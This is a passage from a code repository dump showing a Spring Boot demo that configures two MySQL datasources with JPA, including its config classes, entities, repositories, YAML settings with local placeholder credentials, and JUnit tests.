}\n\n    /**\n     * 获取实体管理对象\n     *\n     * @param factory 注入名为secondEntityManagerFactory的bean\n     * @return 实体管理对象\n     */\n    @Bean(name = \"secondEntityManager\")\n    public EntityManager entityManager(@Qualifier(\"secondEntityManagerFactory\") EntityManagerFactory factory) {\n        return factory.createEntityManager();\n    }\n\n    /**\n     * 获取主库事务管理对象\n     *\n     * @param factory 注入名为secondEntityManagerFactory的bean\n     * @return 事务管理对象\n     */\n    @Bean(name = \"secondTransactionManager\")\n    public PlatformTransactionManager transactionManager(@Qualifier(\"secondEntityManagerFactory\") EntityManagerFactory factory) {\n        return new JpaTransactionManager(factory);\n    }\n\n}\n```\n\n## application.yml\n\n```yaml\nspring:\n  datasource:\n    primary:\n      url: jdbc:mysql://127.0.0.1:3306/spring-boot-demo?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n      username: root\n      password: root\n      driver-class-name: com.mysql.cj.jdbc.Driver\n      type: com.zaxxer.hikari.HikariDataSource\n      hikari:\n        minimum-idle: 5\n        connection-test-query: SELECT 1 FROM DUAL\n        maximum-pool-size: 20\n        auto-commit: true\n        idle-timeout: 30000\n        pool-name: PrimaryHikariCP\n        max-lifetime: 60000\n        connection-timeout: 30000\n    second:\n      url: jdbc:mysql://127.0.0.1:3306/spring-boot-demo-2?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n      username: root\n      password: root\n      driver-class-name: com.mysql.cj.jdbc.Driver\n      type: com.zaxxer.hikari.HikariDataSource\n      hikari:\n        minimum-idle: 5\n        connection-test-query: SELECT 1 FROM DUAL\n        maximum-pool-size: 20\n        auto-commit: true\n        idle-timeout: 30000\n        pool-name: SecondHikariCP\n        max-lifetime: 60000\n        connection-timeout: 30000\n  jpa:\n    primary:\n      show-sql: true\n      generate-ddl: true\n      hibernate:\n        ddl-auto: update\n      properties:\n        hibernate:\n          dialect: org.hibernate.dialect.MySQL57InnoDBDialect\n      open-in-view: true\n    second:\n      show-sql: true\n      generate-ddl: true\n      hibernate:\n        ddl-auto: update\n      properties:\n        hibernate:\n          dialect: org.hibernate.dialect.MySQL57InnoDBDialect\n      open-in-view: true\nlogging:\n  level:\n    com.xkcoding: debug\n    org.hibernate.SQL: debug\n    org.hibernate.type: trace\n```\n\n## SpringBootDemoMultiDatasourceJpaApplicationTests.java\n\n```java\npackage com.xkcoding.multi.datasource.jpa;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.lang.Snowflake;\nimport com.xkcoding.multi.datasource.jpa.entity.primary.PrimaryMultiTable;\nimport com.xkcoding.multi.datasource.jpa.entity.second.SecondMultiTable;\nimport com.xkcoding.multi.datasource.jpa.repository.primary.PrimaryMultiTableRepository;\nimport com.xkcoding.multi.datasource.jpa.repository.second.SecondMultiTableRepository;\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport java.util.List;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\n@Slf4j\npublic class SpringBootDemoMultiDatasourceJpaApplicationTests {\n    @Autowired\n    private PrimaryMultiTableRepository primaryRepo;\n    @Autowired\n    private SecondMultiTableRepository secondRepo;\n    @Autowired\n    private Snowflake snowflake;\n\n    @Test\n    public void testInsert() {\n        PrimaryMultiTable primary = new PrimaryMultiTable(snowflake.nextId(),\"测试名称-1\");\n        primaryRepo.save(primary);\n\n        SecondMultiTable second = new SecondMultiTable();\n        BeanUtil.copyProperties(primary, second);\n        secondRepo.save(second);\n    }\n\n    @Test\n    public void testUpdate() {\n        primaryRepo.findAll().forEach(primary -> {\n            primary.setName(\"修改后的\"+primary.getName());\n            primaryRepo.save(primary);\n\n            SecondMultiTable second = new SecondMultiTable();\n            BeanUtil.copyProperties(primary, second);\n            secondRepo.save(second);\n        });\n    }\n\n    @Test\n    public void testDelete() {\n        primaryRepo.deleteAll();\n\n        secondRepo.deleteAll();\n    }\n\n    @Test\n    public void testSelect() {\n        List<PrimaryMultiTable> primary = primaryRepo.findAll();\n        log.info(\"【primary】= {}\", primary);\n\n        List<SecondMultiTable> second = secondRepo.findAll();\n        log.info(\"【second】= {}\", second);\n    }\n\n}\n```\n\n## 目录结构\n\n```\n.\n├── README.md\n├── pom.xml\n├── spring-boot-demo-multi-datasource-jpa.iml\n├── src\n│   ├── main\n│   │   ├── java\n│   │   │   └── com.xkcoding.multi.datasource.jpa\n│   │   │       ├── SpringBootDemoMultiDatasourceJpaApplication.java\n│   │   │       ├── config\n│   │   │       │   ├── PrimaryDataSourceConfig.java\n│   │   │       │   ├── PrimaryJpaConfig.java\n│   │   │       │   ├── SecondDataSourceConfig.java\n│   │   │       │   ├── SecondJpaConfig.java\n│   │   │       │   └── SnowflakeConfig.java\n│   │   │       ├── entity\n│   │   │       │   ├── primary\n│   │   │       │   │   └── PrimaryMultiTable.java\n│   │   │       │   └── second\n│   │   │       │       └── SecondMultiTable.java\n│   │   │       └── repository\n│   │   │               ├── primary\n│   │   │               │   └── PrimaryMultiTableRepository.java\n│   │   │               └── second\n│   │   │                   └── SecondMultiTableRepository.java\n│   │   └── resources\n│   │       └── application.yml\n│   └── test\n│       └── java\n│           └── com.xkcoding.multi.datasource.jpa\n│               └── SpringBootDemoMultiDatasourceJpaApplicationTests.java\n└── target\n```\n\n## 参考\n\n1. https://www.jianshu.com/p/34730e595a8c\n2. https://blog.csdn.net/anxpp/article/details/52274120"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_multi_datasource_jpa</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>  \n\t\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-jpa</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_multi_datasource_jpa</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/SpringBootDemoMultiDatasourceJpaApplication.java",
    "content": "package com.jun.plugin.multi.datasource.jpa;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2019-01-16 17:34\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoMultiDatasourceJpaApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoMultiDatasourceJpaApplication.class, args);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/config/PrimaryDataSourceConfig.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.config;\n\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport javax.sql.DataSource;\n\n/**\n * <p>\n * JPA多数据源配置 - 主数据源\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.config\n * @description: JPA多数据源配置 - 主数据源\n * @author: yangkai.shen\n * @date: Created in 2019-01-17 15:58\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class PrimaryDataSourceConfig {\n\n    /**\n     * 扫描spring.datasource.primary开头的配置信息\n     *\n     * @return 数据源配置信息\n     */\n    @Primary\n    @Bean(name = \"primaryDataSourceProperties\")\n    @ConfigurationProperties(prefix = \"spring.datasource.primary\")\n    public DataSourceProperties dataSourceProperties() {\n        return new DataSourceProperties();\n    }\n\n    /**\n     * 获取主库数据源对象\n     *\n     * @param dataSourceProperties 注入名为primaryDataSourceProperties的bean\n     * @return 数据源对象\n     */\n    @Primary\n    @Bean(name = \"primaryDataSource\")\n    public DataSource dataSource(@Qualifier(\"primaryDataSourceProperties\") DataSourceProperties dataSourceProperties) {\n        return dataSourceProperties.initializeDataSourceBuilder().build();\n    }\n\n    /**\n     * 该方法仅在需要使用JdbcTemplate对象时选用\n     *\n     * @param dataSource 注入名为primaryDataSource的bean\n     * @return 数据源JdbcTemplate对象\n     */\n    @Primary\n    @Bean(name = \"primaryJdbcTemplate\")\n    public JdbcTemplate jdbcTemplate(@Qualifier(\"primaryDataSource\") DataSource dataSource) {\n        return new JdbcTemplate(dataSource);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/config/PrimaryJpaConfig.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.config;\n\nimport com.zaxxer.hikari.HikariDataSource;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.autoconfigure.orm.jpa.JpaProperties;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.orm.jpa.EntityManagerFactoryBuilder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.data.jpa.repository.config.EnableJpaRepositories;\nimport org.springframework.orm.jpa.JpaTransactionManager;\nimport org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;\nimport org.springframework.transaction.PlatformTransactionManager;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport javax.persistence.EntityManager;\nimport javax.persistence.EntityManagerFactory;\nimport javax.sql.DataSource;\n\n/**\n * <p>\n * JPA多数据源配置 - 主 JPA 配置\n * </p>\n *\n * @package: com.jun.plugin.multi.datasource.jpa.config\n * @description: JPA多数据源配置 - 主 JPA 配置\n * @author: yangkai.shen\n * @date: Created in 2019-01-17 16:54\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableTransactionManagement\n@EnableJpaRepositories(\n        // repository包名\n        basePackages = PrimaryJpaConfig.REPOSITORY_PACKAGE,\n        // 实体管理bean名称\n        entityManagerFactoryRef = \"primaryEntityManagerFactory\",\n        // 事务管理bean名称\n        transactionManagerRef = \"primaryTransactionManager\")\npublic class PrimaryJpaConfig {\n    static final String REPOSITORY_PACKAGE = \"com.jun.plugin.multi.datasource.jpa.repository.primary\";\n    private static final String ENTITY_PACKAGE = \"com.jun.plugin.multi.datasource.jpa.entity.primary\";\n\n\n    /**\n     * 扫描spring.jpa.primary开头的配置信息\n     *\n     * @return jpa配置信息\n     */\n    @Primary\n    @Bean(name = \"primaryJpaProperties\")\n    @ConfigurationProperties(prefix = \"spring.jpa.primary\")\n    public JpaProperties jpaProperties() {\n        return new JpaProperties();\n    }\n\n    /**\n     * 获取主库实体管理工厂对象\n     *\n     * @param primaryDataSource 注入名为primaryDataSource的数据源\n     * @param jpaProperties     注入名为primaryJpaProperties的jpa配置信息\n     * @param builder           注入EntityManagerFactoryBuilder\n     * @return 实体管理工厂对象\n     */\n    @Primary\n    @Bean(name = \"primaryEntityManagerFactory\")\n    public LocalContainerEntityManagerFactoryBean entityManagerFactory(@Qualifier(\"primaryDataSource\") DataSource primaryDataSource, @Qualifier(\"primaryJpaProperties\") JpaProperties jpaProperties, EntityManagerFactoryBuilder builder) {\n        return builder\n                // 设置数据源\n                .dataSource(primaryDataSource)\n                // 设置jpa配置\n                .properties(jpaProperties.getProperties())\n                // 设置实体包名\n                .packages(ENTITY_PACKAGE)\n                // 设置持久化单元名，用于@PersistenceContext注解获取EntityManager时指定数据源\n                .persistenceUnit(\"primaryPersistenceUnit\").build();\n    }\n\n    /**\n     * 获取实体管理对象\n     *\n     * @param factory 注入名为primaryEntityManagerFactory的bean\n     * @return 实体管理对象\n     */\n    @Primary\n    @Bean(name = \"primaryEntityManager\")\n    public EntityManager entityManager(@Qualifier(\"primaryEntityManagerFactory\") EntityManagerFactory factory) {\n        return factory.createEntityManager();\n    }\n\n    /**\n     * 获取主库事务管理对象\n     *\n     * @param factory 注入名为primaryEntityManagerFactory的bean\n     * @return 事务管理对象\n     */\n    @Primary\n    @Bean(name = \"primaryTransactionManager\")\n    public PlatformTransactionManager transactionManager(@Qualifier(\"primaryEntityManagerFactory\") EntityManagerFactory factory) {\n        return new JpaTransactionManager(factory);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/config/SecondDataSourceConfig.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.config;\n\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport javax.sql.DataSource;\n\n/**\n * <p>\n * JPA多数据源配置 - 次数据源\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.config\n * @description: JPA多数据源配置 - 次数据源\n * @author: yangkai.shen\n * @date: Created in 2019-01-17 15:58\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class SecondDataSourceConfig {\n\n    /**\n     * 扫描spring.datasource.second开头的配置信息\n     *\n     * @return 数据源配置信息\n     */\n    @Bean(name = \"secondDataSourceProperties\")\n    @ConfigurationProperties(prefix = \"spring.datasource.second\")\n    public DataSourceProperties dataSourceProperties() {\n        return new DataSourceProperties();\n    }\n\n    /**\n     * 获取主库数据源对象\n     *\n     * @param dataSourceProperties 注入名为secondDataSourceProperties的bean\n     * @return 数据源对象\n     */\n    @Bean(name = \"secondDataSource\")\n    public DataSource dataSource(@Qualifier(\"secondDataSourceProperties\") DataSourceProperties dataSourceProperties) {\n        return dataSourceProperties.initializeDataSourceBuilder().build();\n    }\n\n    /**\n     * 该方法仅在需要使用JdbcTemplate对象时选用\n     *\n     * @param dataSource 注入名为secondDataSource的bean\n     * @return 数据源JdbcTemplate对象\n     */\n    @Bean(name = \"secondJdbcTemplate\")\n    public JdbcTemplate jdbcTemplate(@Qualifier(\"secondDataSource\") DataSource dataSource) {\n        return new JdbcTemplate(dataSource);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/config/SecondJpaConfig.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.config;\n\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.autoconfigure.orm.jpa.JpaProperties;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.orm.jpa.EntityManagerFactoryBuilder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.jpa.repository.config.EnableJpaRepositories;\nimport org.springframework.orm.jpa.JpaTransactionManager;\nimport org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;\nimport org.springframework.transaction.PlatformTransactionManager;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport javax.persistence.EntityManager;\nimport javax.persistence.EntityManagerFactory;\nimport javax.sql.DataSource;\n\n/**\n * <p>\n * JPA多数据源配置 - 次 JPA 配置\n * </p>\n *\n * @package: com.jun.plugin.multi.datasource.jpa.config\n * @description: JPA多数据源配置 - 次 JPA 配置\n * @author: yangkai.shen\n * @date: Created in 2019-01-17 16:54\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableTransactionManagement\n@EnableJpaRepositories(\n        // repository包名\n        basePackages = SecondJpaConfig.REPOSITORY_PACKAGE,\n        // 实体管理bean名称\n        entityManagerFactoryRef = \"secondEntityManagerFactory\",\n        // 事务管理bean名称\n        transactionManagerRef = \"secondTransactionManager\")\npublic class SecondJpaConfig {\n    static final String REPOSITORY_PACKAGE = \"com.jun.plugin.multi.datasource.jpa.repository.second\";\n    private static final String ENTITY_PACKAGE = \"com.jun.plugin.multi.datasource.jpa.entity.second\";\n\n\n    /**\n     * 扫描spring.jpa.second开头的配置信息\n     *\n     * @return jpa配置信息\n     */\n    @Bean(name = \"secondJpaProperties\")\n    @ConfigurationProperties(prefix = \"spring.jpa.second\")\n    public JpaProperties jpaProperties() {\n        return new JpaProperties();\n    }\n\n    /**\n     * 获取主库实体管理工厂对象\n     *\n     * @param secondDataSource 注入名为secondDataSource的数据源\n     * @param jpaProperties    注入名为secondJpaProperties的jpa配置信息\n     * @param builder          注入EntityManagerFactoryBuilder\n     * @return 实体管理工厂对象\n     */\n    @Bean(name = \"secondEntityManagerFactory\")\n    public LocalContainerEntityManagerFactoryBean entityManagerFactory(@Qualifier(\"secondDataSource\") DataSource secondDataSource, @Qualifier(\"secondJpaProperties\") JpaProperties jpaProperties, EntityManagerFactoryBuilder builder) {\n        return builder\n                // 设置数据源\n                .dataSource(secondDataSource)\n                // 设置jpa配置\n                .properties(jpaProperties.getProperties())\n                // 设置实体包名\n                .packages(ENTITY_PACKAGE)\n                // 设置持久化单元名，用于@PersistenceContext注解获取EntityManager时指定数据源\n                .persistenceUnit(\"secondPersistenceUnit\").build();\n    }\n\n    /**\n     * 获取实体管理对象\n     *\n     * @param factory 注入名为secondEntityManagerFactory的bean\n     * @return 实体管理对象\n     */\n    @Bean(name = \"secondEntityManager\")\n    public EntityManager entityManager(@Qualifier(\"secondEntityManagerFactory\") EntityManagerFactory factory) {\n        return factory.createEntityManager();\n    }\n\n    /**\n     * 获取主库事务管理对象\n     *\n     * @param factory 注入名为secondEntityManagerFactory的bean\n     * @return 事务管理对象\n     */\n    @Bean(name = \"secondTransactionManager\")\n    public PlatformTransactionManager transactionManager(@Qualifier(\"secondEntityManagerFactory\") EntityManagerFactory factory) {\n        return new JpaTransactionManager(factory);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/config/SnowflakeConfig.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.config;\n\nimport cn.hutool.core.lang.Snowflake;\nimport cn.hutool.core.util.IdUtil;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * <p>\n * 雪花算法生成器\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.config\n * @description: 雪花算法生成器\n * @author: yangkai.shen\n * @date: Created in 2019-01-18 15:50\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class SnowflakeConfig {\n    @Bean\n    public Snowflake snowflake(){\n        return IdUtil.createSnowflake(1,1);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/entity/primary/PrimaryMultiTable.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.entity.primary;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport org.hibernate.annotations.GenericGenerator;\n\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\n/**\n * <p>\n * 多数据源测试表\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.entity.primary\n * @description: 多数据源测试表\n * @author: yangkai.shen\n * @date: Created in 2019-01-18 10:06\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Entity\n@Table(name = \"multi_table\")\n@NoArgsConstructor\n@AllArgsConstructor\n@Builder\npublic class PrimaryMultiTable {\n    /**\n     * 主键\n     */\n    @Id\n    private Long id;\n\n    /**\n     * 名称\n     */\n    private String name;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/entity/second/SecondMultiTable.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.entity.second;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\nimport org.hibernate.annotations.GenericGenerator;\n\nimport javax.persistence.*;\n\n/**\n * <p>\n * 多数据源测试表\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.entity.second\n * @description: 多数据源测试表\n * @author: yangkai.shen\n * @date: Created in 2019-01-18 10:06\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Entity\n@Table(name = \"multi_table\")\n@NoArgsConstructor\n@AllArgsConstructor\n@Builder\npublic class SecondMultiTable {\n    /**\n     * 主键\n     */\n    @Id\n    private Long id;\n\n    /**\n     * 名称\n     */\n    private String name;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/repository/primary/PrimaryMultiTableRepository.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.repository.primary;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.stereotype.Repository;\n\nimport com.jun.plugin.multi.datasource.jpa.entity.primary.PrimaryMultiTable;\n\n/**\n * <p>\n * 多数据源测试 repo\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.repository.primary\n * @description: 多数据源测试 repo\n * @author: yangkai.shen\n * @date: Created in 2019-01-18 10:11\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Repository\npublic interface PrimaryMultiTableRepository extends JpaRepository<PrimaryMultiTable, Long> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/java/com/jun/plugin/multi/datasource/jpa/repository/second/SecondMultiTableRepository.java",
    "content": "package com.jun.plugin.multi.datasource.jpa.repository.second;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.stereotype.Repository;\n\nimport com.jun.plugin.multi.datasource.jpa.entity.second.SecondMultiTable;\n\n/**\n * <p>\n * 多数据源测试 repo\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.jpa.repository.second\n * @description: 多数据源测试 repo\n * @author: yangkai.shen\n * @date: Created in 2019-01-18 10:11\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Repository\npublic interface SecondMultiTableRepository extends JpaRepository<SecondMultiTable, Long> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/main/resources/application.yml",
    "content": "spring:\n  datasource:\n    primary:\n      url: jdbc:mysql://127.0.0.1:3306/test666?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n      username: root\n      password: \n      driver-class-name: com.mysql.cj.jdbc.Driver\n      type: com.zaxxer.hikari.HikariDataSource\n      hikari:\n        minimum-idle: 5\n        connection-test-query: SELECT 1 FROM DUAL\n        maximum-pool-size: 20\n        auto-commit: true\n        idle-timeout: 30000\n        pool-name: PrimaryHikariCP\n        max-lifetime: 60000\n        connection-timeout: 30000\n    second:\n      url: jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n      username: root\n      password: \n      driver-class-name: com.mysql.cj.jdbc.Driver\n      type: com.zaxxer.hikari.HikariDataSource\n      hikari:\n        minimum-idle: 5\n        connection-test-query: SELECT 1 FROM DUAL\n        maximum-pool-size: 20\n        auto-commit: true\n        idle-timeout: 30000\n        pool-name: SecondHikariCP\n        max-lifetime: 60000\n        connection-timeout: 30000\n  jpa:\n    primary:\n      show-sql: true\n      generate-ddl: true\n      hibernate:\n        ddl-auto: update\n      properties:\n        hibernate:\n          dialect: org.hibernate.dialect.MySQL57InnoDBDialect\n      open-in-view: true\n    second:\n      show-sql: true\n      generate-ddl: true\n      hibernate:\n        ddl-auto: update\n      properties:\n        hibernate:\n          dialect: org.hibernate.dialect.MySQL57InnoDBDialect\n      open-in-view: true\nlogging:\n  level:\n    com.xkcoding: debug\n    org.hibernate.SQL: debug\n    org.hibernate.type: trace"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_jpa/src/test/java/com/jun/plugin/multi/datasource/jpa/SpringBootDemoMultiDatasourceJpaApplicationTests.java",
    "content": "package com.jun.plugin.multi.datasource.jpa;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.lang.Snowflake;\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.jun.plugin.multi.datasource.jpa.entity.primary.PrimaryMultiTable;\nimport com.jun.plugin.multi.datasource.jpa.entity.second.SecondMultiTable;\nimport com.jun.plugin.multi.datasource.jpa.repository.primary.PrimaryMultiTableRepository;\nimport com.jun.plugin.multi.datasource.jpa.repository.second.SecondMultiTableRepository;\n\nimport java.util.List;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\n@Slf4j\npublic class SpringBootDemoMultiDatasourceJpaApplicationTests {\n    @Autowired\n    private PrimaryMultiTableRepository primaryRepo;\n    @Autowired\n    private SecondMultiTableRepository secondRepo;\n    @Autowired\n    private Snowflake snowflake;\n\n    @Test\n    public void testInsert() {\n        PrimaryMultiTable primary = new PrimaryMultiTable(snowflake.nextId(),\"测试名称-1\");\n        primaryRepo.save(primary);\n\n        SecondMultiTable second = new SecondMultiTable();\n        BeanUtil.copyProperties(primary, second);\n        secondRepo.save(second);\n    }\n\n    @Test\n    public void testUpdate() {\n        primaryRepo.findAll().forEach(primary -> {\n            primary.setName(\"修改后的\"+primary.getName());\n            primaryRepo.save(primary);\n\n            SecondMultiTable second = new SecondMultiTable();\n            BeanUtil.copyProperties(primary, second);\n            secondRepo.save(second);\n        });\n    }\n\n    @Test\n    public void testDelete() {\n        primaryRepo.deleteAll();\n\n        secondRepo.deleteAll();\n    }\n\n    @Test\n    public void testSelect() {\n        List<PrimaryMultiTable> primary = primaryRepo.findAll();\n        log.info(\"【primary】= {}\", primary);\n\n        List<SecondMultiTable> second = secondRepo.findAll();\n        log.info(\"【second】= {}\", second);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/README.md",
